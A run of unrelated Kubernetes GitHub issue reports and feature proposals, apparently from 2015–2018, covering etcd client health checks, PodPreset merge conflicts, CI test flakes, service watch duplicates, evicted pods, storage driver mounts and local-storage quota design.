version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:54:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:43:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r 10 workers with 64gb on 3 controllers vm. \r \r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r linux staging-controller-002 4.4.0-139-generic  165-ubuntu smp wed oct 24 10:58:50 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r ansible\r \r - others:\r \r <!-- do not edit below this line -->\r 

by now, kubernetes use go-etcd https://github.com/coreos/go-etcd deprecated as etcd client. however, because go-etcd pins to one endpoint if possible, it will always make requests to one server. in addition it cannot detect whether the member in use is healthy when doing read requests. if the member is isolated from the cluster, go-etcd may retrieve outdated data. btw, go-etcd has deprecated and does't accept new features.  even if we replace go-etcd to offical etcd client https://github.com/coreos/etcd/tree/master/client, which may has a nicer api and better support, this problem still exist. as far as i know,  etcd/client will solve this problem using the experimental  /health  endpoint https://github.com/coreos/etcd/issues/3265. unfortunately, this experimental  /health  endpoint is just available after version v2.1.xx. if we want support v2.0xx version etcd, we must find some other health check method.  so, i propose to solve this problem in kubernetes. my idea is to encapsulate the go-etcd client, and provide health check functions.  we can put our encapsulated client in  third_party/forked/coreos/go-etcd/etcd/hclient.go , and replace all the  import \ github.com/cores/go-etcd/etcd\   statement to  github.com/k8s.io/kubernetes/third_party/forked/coreos/go-etcd/etcd/hclient.go . so all we need is just replacing the import statement, without modify any other code.   the content of  third_party/forked/coreos/go-etcd/etcd/hclient.go  is like this      import \ github.com/cores/go-etcd/etcd\   hclient {     client  client  // go-etcd client     xxx             // some uxiliary field }   func newclient machines   string   client {      hclient := &hclient {         client : {             cluster: newcluster machines              config : config         }         xxx : xxx     }     hclient.intihttpclient       hclient.saveconfig        go healthcheck hclient       return hclient.client }  func healthcheck hclient  hclient  {  }      i wiil explain how to implement of  healthcheck    function later.

labelselector type fields - keys, values and operators, have more stringent validation requirements than other string fields. the current fuzzer implementation has no capability to generate the values that conform to these validation requirements. a fuzzer that satisfies these requirements must be implemented.  cc @bgrant0607 @lavalamp

i have created a kubernetes cluster yesterday and i am using docker remote api to get performance metrics of containers by listening to unix:///var/run/docker.sock of each container. with kubernetes cluster, i ran spark using the .yaml files available in kubernetes/examples/spark. when i query stat using docker remote api for all the spark containers, i am getting  http/1.1 200 ok content-type: application/json server: docker/1.10.3  linux  date: thu, 30 jun 2016 18:07:11 gmt content-length: 0 for spark-workers and spark-master containers. but i can query data for gcr.io/google_containers/pause:2.0 successfully. this is not specific to spark. i tried to launch different replication controllers like elastic search using kubernetes. in all the cases, i can get only the data for gcr.io/google_containers/pause:2.0 and not for other containers.  few weeks back, i was able to get metrics for all containers. but now i can't get for all. is it because of any recent changes made to kuberentes? if i launch spark containers manually without using kubernetes, it works. but is it not working when launched using kubernetes.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : podpreset\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   what happened  :\r if you have merge conflict while applying podpresets on a pod, current logic modifies the podspec partially. \r scenario:\r let say:\r    we have a podpreset named \ inject-db-port\  with environment variable db_port:6000 defined.\r    we are creating a pod p1 with two containers c1 and c2 where c1 does not have any env vars defined while c2 has env variable db_port defined with value 7000.\r \r podpreset \ inject-db-port\  gets applied on pod p1. c1's envvars are modified to inject db_port:6000 and at the time of injecting db_port:6000 in c2, conflict is detected and this pod-preset is ignored, but, by that time c1's envvars are already updated. so pod p1 is partially modified in case of conflict.\r \r   what you expected to happen  :\r while applying podpresets on a pod, in case of merge conflict, pod should not be modified at all. pod should be modified only in case of successful application of podpreset.\r \r   how to reproduce it    as minimally and precisely as possible :\r scenario described is good enough to reproduce this issue.\r \r   anything else we need to know  :\r root cause of the problem is that we have coupled the logic of merging and detecting conflict. the logic needs to be split in two phases where in first phase, we detect just the merge conflict and if there is a conflict, we reject podpreset application completely and in case of successful merge, we continue with second phase of applying  merging  podpreset information on pod.\r \r

the changelog becomes longer and longer as we have more and more releases  though we remove some oldest releases changelog . it also has bad order of releases  not listed by version but release date . this make it hard to read.\r \r how about splitting it?\r \r - create a sub-dir  changelog  in repo root\r - every release has its own changelog file with name  version name.md  in the above dir.\r - the changelog files will be listed by version name automatically.\r \r  /cc @dchen1107

is this a bug report or feature request?  :\r  \r   what happened  :\r  cluster-name  is used by servicecontroller and routecontroller, for controller-manager, we have an option to set it, but for cloud-controller-manager, it will always be of default value 'kubernetes'.\r \r here are some examples where it was in use:\r \r aws:\r https://github.com/kubernetes/kubernetes/blob/6b39b017b4096028396719b062bf56c00ca8d7f3/pkg/cloudprovider/providers/aws/aws_routes.go l69\r \r azure:\r https://github.com/kubernetes/kubernetes/blob/a5f766063ddb668f7a8dc924a20fe8e4bb441a37/pkg/cloudprovider/providers/azure/azure_util.go l186\r \r gce:\r https://github.com/kubernetes/kubernetes/blob/80ea31fcbf1a416a7d380582a7139f4132e3fece/pkg/cloudprovider/providers/gce/gce_routes.go l43\r \r openstack\r https://github.com/kubernetes/kubernetes/blob/eb86cc5e87c077fec088bc6061e4774344e5f5d9/pkg/cloudprovider/providers/openstack/openstack_loadbalancer.go l904\r \r \r   what you expected to happen  :\r having an option to set the value.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r

failure cluster  c9235baf96a3c373f7d9  https://go.k8s.io/triage c9235baf96a3c373f7d9        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:hamaster\\  --minstartuppods=8 --report-dir=/workspace/_artifacts --disable-log-dump=true: exit status 141           failure cluster statistics: 1 tests failed,    7 jobs failed,    96 builds failed. failure stats cover 1 day time range '11 oct 2017 21:44 utc' to '12 oct 2017 21:44 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 7 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-es-logging | 46 |  12 oct 2017 21:21 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-es-logging/16155  | | ci-kubernetes-e2e-gce-ha-master | 21 |  12 oct 2017 20:39 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ha-master/10589  | | periodic-kubernetes-e2e-kubeadm-gce-upgrade-1-6-1-7 | 12 |  12 oct 2017 20:17 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/periodic-kubernetes-e2e-kubeadm-gce-upgrade-1-6-1-7/248  |   current status  https://go.k8s.io/triage c9235baf96a3c373f7d9

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r iscsi is not supported on windows because symbolic link does not work on windows, depends on a moby issue fix:  symlink for ca.crt & token files are broken on windows containers  https://github.com/kubernetes/kubernetes/issues/52419 \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign\r @patricklang i know someone from windows team is working on this, could you @ this person? thanks.

the aformentioned test case has been flaking for a while with following error:\r \r    \r /usr/local/go/src/testing/testing.go:1145 +0xf9\r /usr/local/go/src/time/sleep.go:170 +0x44\r /usr/local/go/src/testing/testing.go:790 +0x2fc\r /usr/local/go/src/testing/testing.go:1004 +0x64\r /usr/local/go/src/testing/testing.go:746 +0xd0\r /usr/local/go/src/testing/testing.go:1002 +0x2d8\r /usr/local/go/src/testing/testing.go:921 +0x111\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/scheduler/main_test.go:26 +0x2a\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/framework/etcd.go:103 +0x2c\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/scheduler/main_test.go:26 +0x41\r k8s.io/kubernetes/test/integration/scheduler/_test/_testmain.go:76 +0x156\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x9f\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x203\r /usr/local/go/src/runtime/netpoll.go:173 +0x57\r /usr/local/go/src/internal/poll/fd_poll_runtime.go:85 +0xae\r /usr/local/go/src/internal/poll/fd_poll_runtime.go:90 +0x3d\r /usr/local/go/src/internal/poll/fd_unix.go:125 +0x18a\r /usr/local/go/src/net/fd_unix.go:202 +0x52\r /usr/local/go/src/net/net.go:176 +0x6d\r /usr/local/go/src/bufio/bufio.go:213 +0x30b\r /usr/local/go/src/io/io.go:309 +0x86\r /usr/local/go/src/io/io.go:327 +0x58\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/frame.go:237 +0x7b\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/frame.go:492 +0xa4\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http2_client.go:1118 +0xbe\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http2_client.go:266 +0xc80\r /usr/local/go/src/runtime/sigqueue.go:131 +0xa6\r /usr/local/go/src/os/signal/signal_unix.go:22 +0x22\r    \r \r

is this a bug report or feature request?  :\r \r >  \r   what happened  :\r kubernetes reflector keep receive an old deleted service notification. \r \r we are running cloud-controller-manager in kubernetes 1.8.4 .  \r \r with some low level debug info added to the client watcher  reflector watcher informer , we found that the client watcher keep receive some outdated deleted service resource notification with the same resourceversion.  for example, watcher keep receive add event of nginx1 service with resourceversion 211234 , and then receive an delete event of nginx1 service with resourcevesion of 211238.\r this will result in service create and delete again and again.  \r \r reboot cloud-controller-manager will correct the behavior, but can not be fixed. \r \r   what you expected to happen  :\r reflector should not receive any outdated and duplicated resource notification.\r \r   how to reproduce it  as minimally and precisely as possible   :\r it can not be reproduce stably.  but it can be reproduce as long as you keep create and delete service. \r \r   anything else we need to know?  :\r \r    \r alicloud: protobuf decoder, service status watched. with raw data &service{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:nginxprod1,generatename:,namespace:prod,selflink:/api/v1/namespaces/prod/services/nginxprod1,uid:d51793ee-00e8-11e8-8c32-00163e0dbab7,resourceversion:2662812,generation:0,creationtimestamp:2018-01-24 09:27:44 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{app: nginxprod1,tier: slb,},annotations:map string string{service.beta.kubernetes.io/alicloud-loadbalancer-protocolport: http:80,},ownerreferences:  ,finalizers:  ,clustername:,initializers:nil,},spec:servicespec{ports: {http tcp 80 {0 80 } 30744} ,selector:map string string{app: nginxprod1,},clusterip:172.19.10.179,type:loadbalancer,externalips:  ,sessionaffinity:none,loadbalancerip:,loadbalancersourceranges:  ,externalname:,externaltrafficpolicy:cluster,healthchecknodeport:0,publishnotreadyaddresses:false,sessionaffinityconfig:nil,},status:servicestatus{loadbalancer:loadbalancerstatus{ingress:  ,},},} \r error: logging before flag.parse: i0130 04:25:22.632466       1 streamwatcher.go:118  alicloud: streamwatch watch of event type= added , obj= &service{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:nginxprod1,generatename:,namespace:prod,selflink:/api/v1/namespaces/prod/services/nginxprod1,uid:d51793ee-00e8-11e8-8c32-00163e0dbab7,resourceversion:2662812,generation:0,creationtimestamp:2018-01-24 09:27:44 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{app: nginxprod1,tier: slb,},annotations:map string string{service.beta.kubernetes.io/alicloud-loadbalancer-protocolport: http:80,},ownerreferences:  ,finalizers:  ,clustername:,initializers:nil,},spec:servicespec{ports: {http tcp 80 {0 80 } 30744} ,selector:map string string{app: nginxprod1,},clusterip:172.19.10.179,type:loadbalancer,externalips:  ,sessionaffinity:none,loadbalancerip:,loadbalancersourceranges:  ,externalname:,externaltrafficpolicy:cluster,healthchecknodeport:0,publishnotreadyaddresses:false,sessionaffinityconfig:nil,},status:servicestatus{loadbalancer:loadbalancerstatus{ingress:  ,},},} \r \r logging before flag.parse: i0130 04:25:22.633742       1 protobuf.go:405  alicloud: protobuf decoder, service status watched. with raw data &service{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:nginxprod1,generatename:,namespace:prod,selflink:/api/v1/namespaces/prod/services/nginxprod1,uid:d51793ee-00e8-11e8-8c32-00163e0dbab7,resourceversion:2662824,generation:0,creationtimestamp:2018-01-24 09:27:44 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{app: nginxprod1,tier: slb,},annotations:map string string{service.beta.kubernetes.io/alicloud-loadbalancer-protocolport: http:80,},ownerreferences:  ,finalizers:  ,clustername:,initializers:nil,},spec:servicespec{ports: {http tcp 80 {0 80 } 30744} ,selector:map string string{app: nginxprod1,},clusterip:172.19.10.179,type:loadbalancer,externalips:  ,sessionaffinity:none,loadbalancerip:,loadbalancersourceranges:  ,externalname:,externaltrafficpolicy:cluster,healthchecknodeport:0,publishnotreadyaddresses:false,sessionaffinityconfig:nil,},status:servicestatus{loadbalancer:loadbalancerstatus{ingress: {114.55.188.180 } ,},},} \r error: logging before flag.parse: i0130 04:25:22.633802       1 streamwatcher.go:118  alicloud: streamwatch watch of event type= deleted , obj= &service{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:nginxprod1,generatename:,namespace:prod,selflink:/api/v1/namespaces/prod/services/nginxprod1,uid:d51793ee-00e8-11e8-8c32-00163e0dbab7,resourceversion:2662824,generation:0,creationtimestamp:2018-01-24 09:27:44 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{app: nginxprod1,tier: slb,},annotations:map string string{service.beta.kubernetes.io/alicloud-loadbalancer-protocolport: http:80,},ownerreferences:  ,finalizers:  ,clustername:,initializers:nil,},spec:servicespec{ports: {http tcp 80 {0 80 } 30744} ,selector:map string string{app: nginxprod1,},clusterip:172.19.10.179,type:loadbalancer,externalips:  ,sessionaffinity:none,loadbalancerip:,loadbalancersourceranges:  ,externalname:,externaltrafficpolicy:cluster,healthchecknodeport:0,publishnotreadyaddresses:false,sessionaffinityconfig:nil,},status:servicestatus{loadbalancer:loadbalancerstatus{ingress: {114.55.188.180 } ,},},} \r \r    \r \r this nginx service has been deleted, but the up 2 event has been recieved again and again\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r both kubelet hostport and kube-proxy nodeport needs to hold local port open.\r \r kublet netowrk hostport and kube-proxy have some duplicated codes, see:\r \r  kubelet  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/network/hostport/hostport.go l91-l127\r \r  iptables proxy  https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go l1338-l1374\r \r  ipvs proxy  https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/ipvs/proxier.go l1475-l1511\r \r   what you expected to happen  :\r \r refactor them to consume the same piece code.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r i don't know why there are many pod phases in the cluster that are evicted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    shell\r root@vm10-171-2-7:~  k get pod --show-all --all-namespaces -o wide |grep evicted\r huan-a             account-local-8447bc8dbc-l5z7b                                 0/1       evicted             0          32m       <none>            10.171.2.38\r huan-a             account-local-8447bc8dbc-l6mcj                                 0/1       evicted             0          32m       <none>            10.171.2.38\r huan-a             account-local-8447bc8dbc-lcrsl                                 0/1       evicted             0          32m       <none>            10.171.2.38\r huan-a             account-local-8447bc8dbc-mnqw9                                 0/1       evicted             0          32m       <none>            10.171.2.38\r huan-a             account-local-8447bc8dbc-mpcrq                                 0/1       evicted             0          32m       <none>            10.171.2.38\r    \r \r   anything else we need to know?  :\r \r we have 7 sets of k8s cluster environment on the line, 5 of which use k8s v1.8.8 version, 2 sets use k8s v1.9.2 version, the above problem has not appeared in k8s v1.8.8 version, but in the k8s v1.9.2 version will appear frequently, please help me explain why this phase state will appear in the k8s v1.9.2 version.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    shell\r root@vm10-171-2-7:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r root@vm10-171-2-7:~  \r    \r \r \r - os  e.g. from /etc/os-release :\r \r    shell\r root@vm10-171-2-7:~  cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r root@vm10-171-2-7:~  \r    \r - kernel  e.g.  uname -a  :\r \r    shell\r root@vm10-171-2-7:~  uname -a\r linux vm10-171-2-7.ksc.com 4.4.0-62-generic  83-ubuntu smp wed jan 18 14:10:15 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r root@vm10-171-2-7:~  \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r the only container in a pod is in error state but the pod itself still shows running\r   what you expected to happen  :\r if the only container in a pod gets into error state the pod status phase should reflect this\r   how to reproduce it  as minimally and precisely as possible   :\r create a pod with a container which produces a error and therefor gets terminated\r \r   anything else we need to know?  :\r right now it's the client is responsible for looking through the containerstatuses array and determine the state it needs to show a user as the general pod status phase isn't reflecting the real world state of it. i'm putting this up for discussion as it may be technically correct but seems unnecessary to leave to a k8s client to implement correctly.\r \r   environment  :\r - kubernetes version  use  kubectl version  : server: 1.8 client: 1.10\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : macos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r using the storageos volume driver, the volumemount   api method is called after the volume driver has already performed the mount.  this means that the api is unable to reject the k8s mount request if prerequisites fail  e.g. it has been mounted elsewhere or the volume has been disabled .\r \r in addition, no api call is made to attach the storageos device prior to the mount operation.  this does not currently cause a problem as with storageos all devices are available on all cluster nodes, but validation should still be done in the attach phase so that any errors are raised in the correct phase.  this is done correctly in the storageos csi driver and should be back-ported to the volume driver.\r \r   what you expected to happen  :\r pvc mount should fail if storageos volumemount   api call fails.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a pvc using the storageos volume driver.\r 2. mount the volume using external tools   storageos volume mount volname /mnt  on any node \r 3. reference the pvc in a pod.  the pvc will get mounted, even though storageos knows it is mounted elsewhere.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8+  incl. 1.12.0 \r - cloud provider or hardware configuration: any\r - os  e.g. from /etc/os-release : any linux  incl. ubuntu 18.04 \r - kernel  e.g.  uname -a  : any linux  incl. 4.15.0-33-generic \r - install tools: any  incl. minikube \r - others:\r \r  /cc @darkowlzz

for example, i tried  kubectl create -f password.yaml  and got  error: unable to load \ ./password.yaml\ : illegal base64 data at input byte 8  i didn't know that it was the secret  data.password:  field that was triggering the illegal base64 error.  when doing decoding like this, it would be good to print at least the label name from the file where the error happened.

seen on my kubelet on my gke cluster:        tail -f /var/log/kubelet.log > /dev/null tail: inotify resources exhausted tail: inotify cannot be used, reverting to polling      debugging:        cat /proc/sys/fs/inotify/max_user_watches 8192   sudo echo 1048576 > /proc/sys/fs/inotify/max_user_watches root@gke-cluster-1-37a9c8de-node-i2hq:~  tail -f /var/log/kubelet.log > /dev/null      no error seen after limit was lifted.

or offer a setting to do so.  from google-containers:  > i'm building a service that makes much use of the  unversioned  go client.  i'm concerned about error handling for when connections to the kubernetes api fail.  doing a quick scan through the client source, i didn't see any automated retrying of api operations.   is this the case?   i suppose that i could implement the httpclient interface with some retry logic but perhaps there is a better way that i'm just not seeing.  i definitely don't want to have to wrap every client function call in my code with retry logic--there's just too many of them.  i think we do retry if the server specifically says to retry later; perhaps we should consider expanding the set of failure cases that trigger a retry.  @krousey

previously we get the annotations from the unmarshaled pod manifest. but now as https://github.com/coreos/rkt/pull/1924 is merged, the response of the rkt api service contains the annotations of pod, app, and image, we can use that to remove the unmarshaling code.  maybe we still need to keep that for a while for compatibility   cc @derekparker @sjpotter @jonboulle

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-smoke/1723/  failed:  k8s.io  pods should be updated  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:319 expected error:     < errors.errorstring | 0xc820b06050>: {         s: \ failed to update pod \\\ pod-update-303a5350-9d1f-11e6-86a0-0242ac110008\\\ : put https://104.196.149.148/api/v1/namespaces/e2e-tests-pods-sx5ai/pods/pod-update-303a5350-9d1f-11e6-86a0-0242ac110008: net/http: request canceled  client.timeout exceeded while awaiting headers \ ,     }     failed to update pod \ pod-update-303a5350-9d1f-11e6-86a0-0242ac110008\ : put https://104.196.149.148/api/v1/namespaces/e2e-tests-pods-sx5ai/pods/pod-update-303a5350-9d1f-11e6-86a0-0242ac110008: net/http: request canceled  client.timeout exceeded while awaiting headers  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:100

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : oidc\r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.5.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws \r -   os    e.g. from /etc/os-release : debian jessie  8.6 \r -   kernel    e.g.  uname -a  : 4.4.41-k8s\r -   install tools  : kops\r -   others  :\r \r \r   what happened  :\r  when adding the relevant oidc flags  oidc-issuer-url, oidc-client-id, oidc-username-claim  to the kube-apiserver.manifest file. the kube-apiserver container is unable to restart, and there's just a dead container as a result.\r \r there's a before/after of my config files at: \r https://gist.github.com/dmxroid/93ac2a4dcb91428c91efc5d9d8dc3048\r \r   what you expected to happen  :\r for kube-apiserver to restart as per usual with support for oidc authentication enabled\r \r   how to reproduce it    as minimally and precisely as possible :\r add any of those flags to the kube-apiserver command, although oidc-username-claim anecdotally results in the problem less often than the other two.\r \r   anything else do we need to know  : nope

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2503/ failed:  k8s.io  downward api volume should provide container's cpu limit  conformance   volume  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:163 expected error:     < errors.errorstring | 0xc420eefcd0>: {         s: \ failed to get logs from downwardapi-volume-968e370a-08ac-11e7-8d29-42010a800018 for client-container: an error on the server  \\\ unknown\\\   has prevented the request from succeeding  get pods downwardapi-volume-968e370a-08ac-11e7-8d29-42010a800018 \ ,     }     failed to get logs from downwardapi-volume-968e370a-08ac-11e7-8d29-42010a800018 for client-container: an error on the server  \ unknown\   has prevented the request from succeeding  get pods downwardapi-volume-968e370a-08ac-11e7-8d29-42010a800018  not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2195

we plan to add local storage in the quota resource management.\r \r for quota resource like cpu and memory, the quota resource and request/limit is one to one mapping. but local storage is different. the scratch space is node-level resource that could be used by both pod level emptydir volume and/or container's overlay  depending whether there is one root partition or a separate imagefs partition . so it might cause confusion when we set quota on local storage scratch space. should it  include emptydir volume or also container's overlay? do admins want fine grain control over emptydir and container overlay on quota or they only care about total local storage usage and set one quota for it? based on the questions, here are two options.\r \r 1. give admin fine-grain control with separate quota resource for emptydir and container overlay\r there will be two types of resources\r resourcerequestsstorageoverlay  resourcelimitsstorageoverlay\r resourcerequestsemptydir           resourcelimitsemptydir  since emptydir only allows to set limitsize, these two values are equal  \r \r admin can set one or both of the quota resources. quota evaluator will validate whether resource limit/request is set for the quota resource and whether the value satisfies the requirement.\r \r - pros: emptydir volume and container overlay have a separate quota resource, it is easier to understand and set up for two shared partition case because emptydir and container overlay will consume storage from different partitions. \r - cons: admin has more  sometimes unnecessary  configuration parameters to adjust. for the case of only one partition, admin has to figure out how much quota assigned for emptydir and how much quota for container overlay which might be difficult to decide.\r \r 2. give admin only one quota resource for local storage\r resourcerequestsstoragescratch resourcelimitsstoragescratch\r quota evaluator will validate whether resource limit/request is set for either emptydir and  or  container’s overlay  should we require both of them to be set or only one of them is fine? . \r \r - pros: it is easier to set up for one root  partition case. admin just sets the quota for total local storage use, and evaluator will add emptydir and container’s overlay together for quota validation  \r - cons: it is not very clear for admin how to set up for two partitions case. use the following as an example. \r - there are two partitions, root partition has 10gb and second partition has also 10gb. emptydir volume size limit is 12, and container’s overlay request 3. this case, quota evaluation could pass however, emptydir actually requests more than the quota capacity.\r \r please share your feedback and comments. thanks!

